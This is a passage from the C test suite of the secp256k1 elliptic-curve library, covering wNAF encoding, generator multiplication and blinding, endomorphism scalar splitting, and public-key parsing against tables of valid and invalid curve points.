zeroes=0; CHECK((v & 1) == 1); /* check non-zero elements are odd */ CHECK(v <= (1 << (w-1)) - 1); /* check range below */ CHECK(v >= -(1 << (w-1)) - 1); /* check range above */ } else { CHECK(zeroes != -1); /* check that no unnecessary zero padding exists */ zeroes++; } if (v >= 0) { secp256k1_scalar_set_int(&t, v); } else { secp256k1_scalar_set_int(&t, -v); secp256k1_scalar_negate(&t, &t); } secp256k1_scalar_add(&x, &x, &t); } CHECK(secp256k1_scalar_eq(&x, number)); /* check that wnaf represents number */ } void test_constant_wnaf_negate(const secp256k1_scalar *number) { secp256k1_scalar neg1 = *number; secp256k1_scalar neg2 = *number; int sign1 = 1; int sign2 = 1; if (!secp256k1_scalar_get_bits(&neg1, 0, 1)) { secp256k1_scalar_negate(&neg1, &neg1); sign1 = -1; } sign2 = secp256k1_scalar_cond_negate(&neg2, secp256k1_scalar_is_even(&neg2)); CHECK(sign1 == sign2); CHECK(secp256k1_scalar_eq(&neg1, &neg2)); } void test_constant_wnaf(const secp256k1_scalar *number, int w) { secp256k1_scalar x, shift; int wnaf[256] = {0}; int i; int skew; secp256k1_scalar num = *number; secp256k1_scalar_set_int(&x, 0); secp256k1_scalar_set_int(&shift, 1 << w); /* With USE_ENDOMORPHISM on we only consider 128-bit numbers */ #ifdef USE_ENDOMORPHISM for (i = 0; i < 16; ++i) { secp256k1_scalar_shr_int(&num, 8); } #endif skew = secp256k1_wnaf_const(wnaf, num, w); for (i = WNAF_SIZE(w); i >= 0; --i) { secp256k1_scalar t; int v = wnaf[i]; CHECK(v != 0); /* check nonzero */ CHECK(v & 1); /* check parity */ CHECK(v > -(1 << w)); /* check range above */ CHECK(v < (1 << w)); /* check range below */ secp256k1_scalar_mul(&x, &x, &shift); if (v >= 0) { secp256k1_scalar_set_int(&t, v); } else { secp256k1_scalar_set_int(&t, -v); secp256k1_scalar_negate(&t, &t); } secp256k1_scalar_add(&x, &x, &t); } /* Skew num because when encoding numbers as odd we use an offset */ secp256k1_scalar_cadd_bit(&num, skew == 2, 1); CHECK(secp256k1_scalar_eq(&x, &num)); } void run_wnaf(void) { int i; secp256k1_scalar n = {{0}}; /* Sanity check: 1 and 2 are the smallest odd and even numbers and should * have easier-to-diagnose failure modes */ n.d[0] = 1; test_constant_wnaf(&n, 4); n.d[0] = 2; test_constant_wnaf(&n, 4); /* Random tests */ for (i = 0; i < count; i++) { random_scalar_order(&n); test_wnaf(&n, 4+(i%10)); test_constant_wnaf_negate(&n); test_constant_wnaf(&n, 4 + (i % 10)); } secp256k1_scalar_set_int(&n, 0); CHECK(secp256k1_scalar_cond_negate(&n, 1) == -1); CHECK(secp256k1_scalar_is_zero(&n)); CHECK(secp256k1_scalar_cond_negate(&n, 0) == 1); CHECK(secp256k1_scalar_is_zero(&n)); } void test_ecmult_constants(void) { /* Test ecmult_gen() for [0..36) and [order-36..0). */ secp256k1_scalar x; secp256k1_gej r; secp256k1_ge ng; int i; int j; secp256k1_ge_neg(&ng, &secp256k1_ge_const_g); for (i = 0; i < 36; i++ ) { secp256k1_scalar_set_int(&x, i); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &r, &x); for (j = 0; j < i; j++) { if (j == i - 1) { ge_equals_gej(&secp256k1_ge_const_g, &r); } secp256k1_gej_add_ge(&r, &r, &ng); } CHECK(secp256k1_gej_is_infinity(&r)); } for (i = 1; i <= 36; i++ ) { secp256k1_scalar_set_int(&x, i); secp256k1_scalar_negate(&x, &x); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &r, &x); for (j = 0; j < i; j++) { if (j == i - 1) { ge_equals_gej(&ng, &r); } secp256k1_gej_add_ge(&r, &r, &secp256k1_ge_const_g); } CHECK(secp256k1_gej_is_infinity(&r)); } } void run_ecmult_constants(void) { test_ecmult_constants(); } void test_ecmult_gen_blind(void) { /* Test ecmult_gen() blinding and confirm that the blinding changes, the affine points match, and the z's don't match. */ secp256k1_scalar key; secp256k1_scalar b; unsigned char seed32[32]; secp256k1_gej pgej; secp256k1_gej pgej2; secp256k1_gej i; secp256k1_ge pge; random_scalar_order_test(&key); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &pgej, &key); secp256k1_rand256(seed32); b = ctx->ecmult_gen_ctx.blind; i = ctx->ecmult_gen_ctx.initial; secp256k1_ecmult_gen_blind(&ctx->ecmult_gen_ctx, seed32); CHECK(!secp256k1_scalar_eq(&b, &ctx->ecmult_gen_ctx.blind)); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &pgej2, &key); CHECK(!gej_xyz_equals_gej(&pgej, &pgej2)); CHECK(!gej_xyz_equals_gej(&i, &ctx->ecmult_gen_ctx.initial)); secp256k1_ge_set_gej(&pge, &pgej); ge_equals_gej(&pge, &pgej2); } void test_ecmult_gen_blind_reset(void) { /* Test ecmult_gen() blinding reset and confirm that the blinding is consistent. */ secp256k1_scalar b; secp256k1_gej initial; secp256k1_ecmult_gen_blind(&ctx->ecmult_gen_ctx, 0); b = ctx->ecmult_gen_ctx.blind; initial = ctx->ecmult_gen_ctx.initial; secp256k1_ecmult_gen_blind(&ctx->ecmult_gen_ctx, 0); CHECK(secp256k1_scalar_eq(&b, &ctx->ecmult_gen_ctx.blind)); CHECK(gej_xyz_equals_gej(&initial, &ctx->ecmult_gen_ctx.initial)); } void run_ecmult_gen_blind(void) { int i; test_ecmult_gen_blind_reset(); for (i = 0; i < 10; i++) { test_ecmult_gen_blind(); } } #ifdef USE_ENDOMORPHISM /***** ENDOMORPHISH TESTS *****/ void test_scalar_split(void) { secp256k1_scalar full; secp256k1_scalar s1, slam; const unsigned char zero[32] = {0}; unsigned char tmp[32]; random_scalar_order_test(&full); secp256k1_scalar_split_lambda(&s1, &slam, &full); /* check that both are <= 128 bits in size */ if (secp256k1_scalar_is_high(&s1)) { secp256k1_scalar_negate(&s1, &s1); } if (secp256k1_scalar_is_high(&slam)) { secp256k1_scalar_negate(&slam, &slam); } secp256k1_scalar_get_b32(tmp, &s1); CHECK(memcmp(zero, tmp, 16) == 0); secp256k1_scalar_get_b32(tmp, &slam); CHECK(memcmp(zero, tmp, 16) == 0); } void run_endomorphism_tests(void) { test_scalar_split(); } #endif void ec_pubkey_parse_pointtest(const unsigned char *input, int xvalid, int yvalid) { unsigned char pubkeyc[65]; secp256k1_pubkey pubkey; secp256k1_ge ge; size_t pubkeyclen; int32_t ecount; ecount = 0; secp256k1_context_set_illegal_callback(ctx, counting_illegal_callback_fn, &ecount); for (pubkeyclen = 3; pubkeyclen <= 65; pubkeyclen++) { /* Smaller sizes are tested exhaustively elsewhere. */ int32_t i; memcpy(&pubkeyc[1], input, 64); VG_UNDEF(&pubkeyc[pubkeyclen], 65 - pubkeyclen); for (i = 0; i < 256; i++) { /* Try all type bytes. */ int xpass; int ypass; int ysign; pubkeyc[0] = i; /* What sign does this point have? */ ysign = (input[63] & 1) + 2; /* For the current type (i) do we expect parsing to work? Handled all of compressed/uncompressed/hybrid. */ xpass = xvalid && (pubkeyclen == 33) && ((i & 254) == 2); /* Do we expect a parse and re-serialize as uncompressed to give a matching y? */ ypass = xvalid && yvalid && ((i & 4) == ((pubkeyclen == 65) << 2)) && ((i == 4) || ((i & 251) == ysign)) && ((pubkeyclen == 33) || (pubkeyclen == 65)); if (xpass || ypass) { /* These cases must parse. */ unsigned char pubkeyo[65]; size_t outl; memset(&pubkey, 0, sizeof(pubkey)); VG_UNDEF(&pubkey, sizeof(pubkey)); ecount = 0; CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, pubkeyc, pubkeyclen) == 1); VG_CHECK(&pubkey, sizeof(pubkey)); outl = 65; VG_UNDEF(pubkeyo, 65); CHECK(secp256k1_ec_pubkey_serialize(ctx, pubkeyo, &outl, &pubkey, SECP256K1_EC_COMPRESSED) == 1); VG_CHECK(pubkeyo, outl); CHECK(outl == 33); CHECK(memcmp(&pubkeyo[1], &pubkeyc[1], 32) == 0); CHECK((pubkeyclen != 33) || (pubkeyo[0] == pubkeyc[0])); if (ypass) { /* This test isn't always done because we decode with alternative signs, so the y won't match. */ CHECK(pubkeyo[0] == ysign); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 1); memset(&pubkey, 0, sizeof(pubkey)); VG_UNDEF(&pubkey, sizeof(pubkey)); secp256k1_pubkey_save(&pubkey, &ge); VG_CHECK(&pubkey, sizeof(pubkey)); outl = 65; VG_UNDEF(pubkeyo, 65); CHECK(secp256k1_ec_pubkey_serialize(ctx, pubkeyo, &outl, &pubkey, SECP256K1_EC_UNCOMPRESSED) == 1); VG_CHECK(pubkeyo, outl); CHECK(outl == 65); CHECK(pubkeyo[0] == 4); CHECK(memcmp(&pubkeyo[1], input, 64) == 0); } CHECK(ecount == 0); } else { /* These cases must fail to parse. */ memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, pubkeyc, pubkeyclen) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 1); } } } secp256k1_context_set_illegal_callback(ctx, NULL, NULL); } void run_ec_pubkey_parse_test(void) { #define SECP256K1_EC_PARSE_TEST_NVALID (12) const unsigned char valid[SECP256K1_EC_PARSE_TEST_NVALID][64] = { { /* Point with leading and trailing zeros in x and y serialization. */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xef, 0xa1, 0x7b, 0x77, 0x61, 0xe1, 0xe4, 0x27, 0x06, 0x98, 0x9f, 0xb4, 0x83, 0xb8, 0xd2, 0xd4, 0x9b, 0xf7, 0x8f, 0xae, 0x98, 0x03, 0xf0, 0x99, 0xb8, 0x34, 0xed, 0xeb, 0x00 }, { /* Point with x equal to a 3rd root of unity.*/ 0x7a, 0xe9, 0x6a, 0x2b, 0x65, 0x7c, 0x07, 0x10, 0x6e, 0x64, 0x47, 0x9e, 0xac, 0x34, 0x34, 0xe9, 0x9c, 0xf0, 0x49, 0x75, 0x12, 0xf5, 0x89, 0x95, 0xc1, 0x39, 0x6c, 0x28, 0x71, 0x95, 0x01, 0xee, 0x42, 0x18, 0xf2, 0x0a, 0xe6, 0xc6, 0x46, 0xb3, 0x63, 0xdb, 0x68, 0x60, 0x58, 0x22, 0xfb, 0x14, 0x26, 0x4c, 0xa8, 0xd2, 0x58, 0x7f, 0xdd, 0x6f, 0xbc, 0x75, 0x0d, 0x58, 0x7e, 0x76, 0xa7, 0xee, }, { /* Point with largest x. (1/2) */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x2c, 0x0e, 0x99, 0x4b, 0x14, 0xea, 0x72, 0xf8, 0xc3, 0xeb, 0x95, 0xc7, 0x1e, 0xf6, 0x92, 0x57, 0x5e, 0x77, 0x50, 0x58, 0x33, 0x2d, 0x7e, 0x52, 0xd0, 0x99, 0x5c, 0xf8, 0x03, 0x88, 0x71, 0xb6, 0x7d, }, { /* Point with largest x. (2/2) */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x2c, 0xf1, 0x66, 0xb4, 0xeb, 0x15, 0x8d, 0x07, 0x3c, 0x14, 0x6a, 0x38, 0xe1, 0x09, 0x6d, 0xa8, 0xa1, 0x88, 0xaf, 0xa7, 0xcc, 0xd2, 0x81, 0xad, 0x2f, 0x66, 0xa3, 0x07, 0xfb, 0x77, 0x8e, 0x45, 0xb2, }, { /* Point with smallest x. (1/2) */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x42, 0x18, 0xf2, 0x0a, 0xe6, 0xc6, 0x46, 0xb3, 0x63, 0xdb, 0x68, 0x60, 0x58, 0x22, 0xfb, 0x14, 0x26, 0x4c, 0xa8, 0xd2, 0x58, 0x7f, 0xdd, 0x6f, 0xbc, 0x75, 0x0d, 0x58, 0x7e, 0x76, 0xa7, 0xee, }, { /* Point with smallest x. (2/2) */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xbd, 0xe7, 0x0d, 0xf5, 0x19, 0x39, 0xb9, 0x4c, 0x9c, 0x24, 0x97, 0x9f, 0xa7, 0xdd, 0x04, 0xeb, 0xd9, 0xb3, 0x57, 0x2d, 0xa7, 0x80, 0x22, 0x90, 0x43, 0x8a, 0xf2, 0xa6, 0x81, 0x89, 0x54, 0x41, }, { /* Point with largest y. (1/3) */ 0x1f, 0xe1, 0xe5, 0xef, 0x3f, 0xce, 0xb5, 0xc1, 0x35, 0xab, 0x77, 0x41, 0x33, 0x3c, 0xe5, 0xa6, 0xe8, 0x0d, 0x68, 0x16, 0x76, 0x53, 0xf6, 0xb2, 0xb2, 0x4b, 0xcb, 0xcf, 0xaa, 0xaf, 0xf5, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x2e, }, { /* Point with largest y. (2/3) */ 0xcb, 0xb0, 0xde, 0xab, 0x12, 0x57, 0x54, 0xf1, 0xfd, 0xb2, 0x03, 0x8b, 0x04, 0x34, 0xed, 0x9c, 0xb3, 0xfb, 0x53, 0xab, 0x73, 0x53, 0x91, 0x12, 0x99, 0x94, 0xa5, 0x35, 0xd9, 0x25, 0xf6, 0x73, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x2e, }, { /* Point with largest y. (3/3) */ 0x14, 0x6d, 0x3b, 0x65, 0xad, 0xd9, 0xf5, 0x4c, 0xcc, 0xa2, 0x85, 0x33, 0xc8, 0x8e, 0x2c, 0xbc, 0x63, 0xf7, 0x44, 0x3e, 0x16, 0x58, 0x78, 0x3a, 0xb4, 0x1f, 0x8e, 0xf9, 0x7c, 0x2a, 0x10, 0xb5, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x2e, }, { /* Point with smallest y. (1/3) */ 0x1f, 0xe1, 0xe5, 0xef, 0x3f, 0xce, 0xb5, 0xc1, 0x35, 0xab, 0x77, 0x41, 0x33, 0x3c, 0xe5, 0xa6, 0xe8, 0x0d, 0x68, 0x16, 0x76, 0x53, 0xf6, 0xb2, 0xb2, 0x4b, 0xcb, 0xcf, 0xaa, 0xaf, 0xf5, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, }, { /* Point with smallest y. (2/3) */ 0xcb, 0xb0, 0xde, 0xab, 0x12, 0x57, 0x54, 0xf1, 0xfd, 0xb2, 0x03, 0x8b, 0x04, 0x34, 0xed, 0x9c, 0xb3, 0xfb, 0x53, 0xab, 0x73, 0x53, 0x91, 0x12, 0x99, 0x94, 0xa5, 0x35, 0xd9, 0x25, 0xf6, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, }, { /* Point with smallest y. (3/3) */ 0x14, 0x6d, 0x3b, 0x65, 0xad, 0xd9, 0xf5, 0x4c, 0xcc, 0xa2, 0x85, 0x33, 0xc8, 0x8e, 0x2c, 0xbc, 0x63, 0xf7, 0x44, 0x3e, 0x16, 0x58, 0x78, 0x3a, 0xb4, 0x1f, 0x8e, 0xf9, 0x7c, 0x2a, 0x10, 0xb5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 } }; #define SECP256K1_EC_PARSE_TEST_NXVALID (4) const unsigned char onlyxvalid[SECP256K1_EC_PARSE_TEST_NXVALID][64] = { { /* Valid if y overflow ignored (y = 1 mod p). (1/3) */ 0x1f, 0xe1, 0xe5, 0xef, 0x3f, 0xce, 0xb5, 0xc1, 0x35, 0xab, 0x77, 0x41, 0x33, 0x3c, 0xe5, 0xa6, 0xe8, 0x0d, 0x68, 0x16, 0x76, 0x53, 0xf6, 0xb2, 0xb2, 0x4b, 0xcb, 0xcf, 0xaa, 0xaf, 0xf5, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x30, }, { /* Valid if y overflow ignored (y = 1 mod p). (2/3) */ 0xcb, 0xb0, 0xde, 0xab, 0x12, 0x57, 0x54, 0xf1, 0xfd, 0xb2, 0x03, 0x8b, 0x04, 0x34, 0xed, 0x9c, 0xb3, 0xfb, 0x53, 0xab, 0x73, 0x53, 0x91, 0x12, 0x99, 0x94, 0xa5, 0x35, 0xd9, 0x25, 0xf6, 0x73, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x30, }, { /* Valid if y overflow ignored (y = 1 mod p). (3/3)*/ 0x14, 0x6d, 0x3b, 0x65, 0xad, 0xd9, 0xf5, 0x4c, 0xcc, 0xa2, 0x85, 0x33, 0xc8, 0x8e, 0x2c, 0xbc, 0x63, 0xf7, 0x44, 0x3e, 0x16, 0x58, 0x78, 0x3a, 0xb4, 0x1f, 0x8e, 0xf9, 0x7c, 0x2a, 0x10, 0xb5, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x30, }, { /* x on curve, y is from y^2 = x^3 + 8. */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03 } }; #define SECP256K1_EC_PARSE_TEST_NINVALID (7) const unsigned char invalid[SECP256K1_EC_PARSE_TEST_NINVALID][64] = { { /* x is third root of -8, y is -1 * (x^3+7); also on the curve for y^2 = x^3 + 9. */ 0x0a, 0x2d, 0x2b, 0xa9, 0x35, 0x07, 0xf1, 0xdf, 0x23, 0x37, 0x70, 0xc2, 0xa7, 0x97, 0x96, 0x2c, 0xc6, 0x1f, 0x6d, 0x15, 0xda, 0x14, 0xec, 0xd4, 0x7d, 0x8d, 0x27, 0xae, 0x1c, 0xd5, 0xf8, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, }, { /* Valid if x overflow ignored (x = 1 mod p). */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x30, 0x42, 0x18, 0xf2, 0x0a, 0xe6, 0xc6, 0x46, 0xb3, 0x63, 0xdb, 0x68, 0x60, 0x58, 0x22, 0xfb, 0x14, 0x26, 0x4c, 0xa8, 0xd2, 0x58, 0x7f, 0xdd, 0x6f, 0xbc, 0x75, 0x0d, 0x58, 0x7e, 0x76, 0xa7, 0xee, }, { /* Valid if x overflow ignored (x = 1 mod p). */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x30, 0xbd, 0xe7, 0x0d, 0xf5, 0x19, 0x39, 0xb9, 0x4c, 0x9c, 0x24, 0x97, 0x9f, 0xa7, 0xdd, 0x04, 0xeb, 0xd9, 0xb3, 0x57, 0x2d, 0xa7, 0x80, 0x22, 0x90, 0x43, 0x8a, 0xf2, 0xa6, 0x81, 0x89, 0x54, 0x41, }, { /* x is -1, y is the result of the sqrt ladder; also on the curve for y^2 = x^3 - 5. */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x2e, 0xf4, 0x84, 0x14, 0x5c, 0xb0, 0x14, 0x9b, 0x82, 0x5d, 0xff, 0x41, 0x2f, 0xa0, 0x52, 0xa8, 0x3f, 0xcb, 0x72, 0xdb, 0x61, 0xd5, 0x6f, 0x37, 0x70, 0xce, 0x06, 0x6b, 0x73, 0x49, 0xa2, 0xaa, 0x28, }, { /* x is -1, y is the result of the sqrt ladder; also on the curve for y^2 = x^3 - 5. */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xfc, 0x2e, 0x0b, 0x7b, 0xeb, 0xa3, 0x4f, 0xeb, 0x64, 0x7d, 0xa2, 0x00, 0xbe, 0xd0, 0x5f, 0xad, 0x57, 0xc0, 0x34, 0x8d, 0x24, 0x9e, 0x2a, 0x90, 0xc8, 0x8f, 0x31, 0xf9, 0x94, 0x8b, 0xb6, 0x5d, 0x52, 0x07, }, { /* x is zero, y is the result of the sqrt ladder; also on the curve for y^2 = x^3 - 7. */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8f, 0x53, 0x7e, 0xef, 0xdf, 0xc1, 0x60, 0x6a, 0x07, 0x27, 0xcd, 0x69, 0xb4, 0xa7, 0x33, 0x3d, 0x38, 0xed, 0x44, 0xe3, 0x93, 0x2a, 0x71, 0x79, 0xee, 0xcb, 0x4b, 0x6f, 0xba, 0x93, 0x60, 0xdc, }, { /* x is zero, y is the result of the sqrt ladder; also on the curve for y^2 = x^3 - 7. */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xac, 0x81, 0x10, 0x20, 0x3e, 0x9f, 0x95, 0xf8, 0xd8, 0x32, 0x96, 0x4b, 0x58, 0xcc, 0xc2, 0xc7, 0x12, 0xbb, 0x1c, 0x6c, 0xd5, 0x8e, 0x86, 0x11, 0x34, 0xb4, 0x8f, 0x45, 0x6c, 0x9b, 0x53 } }; const unsigned char pubkeyc[66] = { /* Serialization of G. */ 0x04, 0x79, 0xBE, 0x66, 0x7E, 0xF9, 0xDC, 0xBB, 0xAC, 0x55, 0xA0, 0x62, 0x95, 0xCE, 0x87, 0x0B, 0x07, 0x02, 0x9B, 0xFC, 0xDB, 0x2D, 0xCE, 0x28, 0xD9, 0x59, 0xF2, 0x81, 0x5B, 0x16, 0xF8, 0x17, 0x98, 0x48, 0x3A, 0xDA, 0x77, 0x26, 0xA3, 0xC4, 0x65, 0x5D, 0xA4, 0xFB, 0xFC, 0x0E, 0x11, 0x08, 0xA8, 0xFD, 0x17, 0xB4, 0x48, 0xA6, 0x85, 0x54, 0x19, 0x9C, 0x47, 0xD0, 0x8F, 0xFB, 0x10, 0xD4, 0xB8, 0x00 }; unsigned char sout[65]; unsigned char shortkey[2]; secp256k1_ge ge; secp256k1_pubkey pubkey; size_t len; int32_t i; int32_t ecount; int32_t ecount2; ecount = 0; /* Nothing should be reading this far into pubkeyc. */ VG_UNDEF(&pubkeyc[65], 1); secp256k1_context_set_illegal_callback(ctx, counting_illegal_callback_fn, &ecount); /* Zero length claimed, fail, zeroize, no illegal arg error. */ memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; VG_UNDEF(shortkey, 2); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, shortkey, 0) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 1); /* Length one claimed, fail, zeroize, no illegal arg error. */ for (i = 0; i < 256 ; i++) { memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; shortkey[0] = i; VG_UNDEF(&shortkey[1], 1); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, shortkey, 1) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 1); } /* Length two claimed, fail, zeroize, no illegal arg error. */ for (i = 0; i < 65536 ; i++) { memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; shortkey[0] = i & 255; shortkey[1] = i >> 8; VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, shortkey, 2) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 1); } memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; VG_UNDEF(&pubkey, sizeof(pubkey)); /* 33 bytes claimed on otherwise valid input starting with 0x04, fail, zeroize output, no illegal arg error. */ CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, pubkeyc, 33) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 1); /* NULL pubkey, illegal arg error. Pubkey isn't rewritten before this step, since it's NULL into the parser. */ CHECK(secp256k1_ec_pubkey_parse(ctx, NULL, pubkeyc, 65) == 0); CHECK(ecount == 2); /* NULL input 